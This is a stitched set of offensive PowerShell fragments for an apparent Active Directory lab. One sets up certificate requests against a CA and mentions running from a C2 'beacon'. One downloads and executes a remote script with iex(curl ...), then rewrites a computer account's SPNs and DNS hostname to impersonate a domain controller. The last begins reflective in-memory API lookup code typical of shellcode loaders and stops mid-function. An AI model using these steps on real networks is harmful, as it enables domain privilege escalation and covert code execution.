Wh04m1001

#Thank you @NotMedic for troubleshooting/validating stuff!

$password = Read-Host -Prompt "Enter Password"
#^^ Feel free to hardcode this for running in a beacon/not retyping it all the time!

$server = "admin" #This will just decide the name of the cert request files that are created. I didn't want to change the var name so it's server for now. 
$CERTPATH = "C:\Users\lowpriv\Desktop\" #Where do you want the cert requests to be stored?
$CAFQDN = "dc01.alexlab.local" #hostname of underlying CA box.
$CASERVER = "alexlab-dc01-ca" #CA name.
$CA = $CAFQDN + "\" + $CASERVER

Wh04m1001

iex(curl https://raw.githubusercontent.com/samratashok/ADModule/master/Import-ActiveDirectory.ps1 -UseBasicParsing )

Import-ActiveDirectory
Set-ADComputer WIN-JQTB1UHHF2S -ServicePrincipalNames @{REPLACE="HOST/WIN-JQTB1UHHF2S","RestrictedKrbHost/WIN-JQTB1UHHF2S"} -Verbose

#in my testing i had to set dnshostname to $null first

Set-ADComputer WIN-JQTB1UHHF2S -DNSHostName $null

Set-ADComputer WIN-JQTB1UHHF2S -DNSHostName dc1.batcave.local

Wh04m1001

function getDelegateType() 
{
Param ([Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,[Parameter(Position = 1)] [Type] $delType = [Void]);
$type=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('Ref')),[System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('AAA', 'Class, Public, Sealed, AnsiClass, AutoClass',[System.MulticastDelegate]);
$type.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).SetImplementationFlags('Runtime, Managed');
$type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).SetImplementationFlags('Runtime, Managed');
return $type.CreateType(); 
}
function LookupFunc() {Param ($moduleName, $functionName);
$assem = ([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods');